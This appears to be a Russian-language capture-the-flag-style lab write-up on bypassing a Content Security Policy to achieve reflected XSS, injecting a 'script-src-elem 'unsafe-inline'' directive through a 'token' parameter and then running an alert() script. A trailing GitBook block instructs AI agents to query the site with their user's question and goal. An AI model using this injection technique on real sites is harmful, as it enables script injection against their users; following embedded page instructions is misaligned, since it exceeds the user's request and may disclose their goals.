> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/xss-with-csp-bypass.md).

# XSS с CSP и техникой обхода

### Отражённый XSS, защищённый CSP, с обходом CSP

#### Описание лабораторной

Отражённый межсайтовый скриптинг, защищённый политикой безопасности содержимого (CSP). Цель — выполнить `alert()` его, обойдя CSP. Предложенное решение работает только в Chrome.

#### Цель

Найдите продуманный XSS-вектор, который обходит CSP и вызывает `alert()` функцию.

Наблюдения

* Внедрив `<script>` тег в параметр, тег появляется в HTML, но JavaScript не выполняется: / Пример внедрения: `' </h1><script>alert(0)</script>` — тег виден, но блокируется CSP.

```javascript
' </h1><script>alert(0)</script>
```

<figure><img src="/files/c54f1c419f917a374c8d243051eb6b3c33538c63" alt=""><figcaption></figcaption></figure>

CSP разрешает только скрипты с того же домена (`'self'`).

<figure><img src="/files/bd7d8f2aeaaf721cc88f496d87f00959bd1fbbf9" alt=""><figcaption></figcaption></figure>

* Отчёт CSP указывает, что ожидается токен (этот `токен` параметр, по-видимому, связан с поведением CSP).

<figure><img src="/files/f494f2ebc1fe67122418a4acd2735196ecced5fd" alt=""><figcaption></figcaption></figure>

* Добавив `&token=test` в URL, этот параметр интерпретируется приложением.

```
&token=test
```

<figure><img src="/files/cc615b5a9c3efeb1547b1c536929c2afc23146d6" alt=""><figcaption></figcaption></figure>

Можно внедрить директиву CSP напрямую через параметр `токен` например:

```
&token=;script-src-elem 'unsafe-inline'
```

директива учитывается

<figure><img src="/files/6f17715c5bcdbf9a2eb425ba9975f2434fbd6149" alt=""><figcaption></figcaption></figure>

После принудительного добавления `script-src-elem 'unsafe-inline'`, следующая инъекция позволяет выполнить JavaScript:

```javascript
<script>alert(0)</script>&token=;script-src-elem 'unsafe-inline'
```

<figure><img src="/files/a337ce140c94966bbd76d519b05016752c5656b8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/xss-with-csp-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
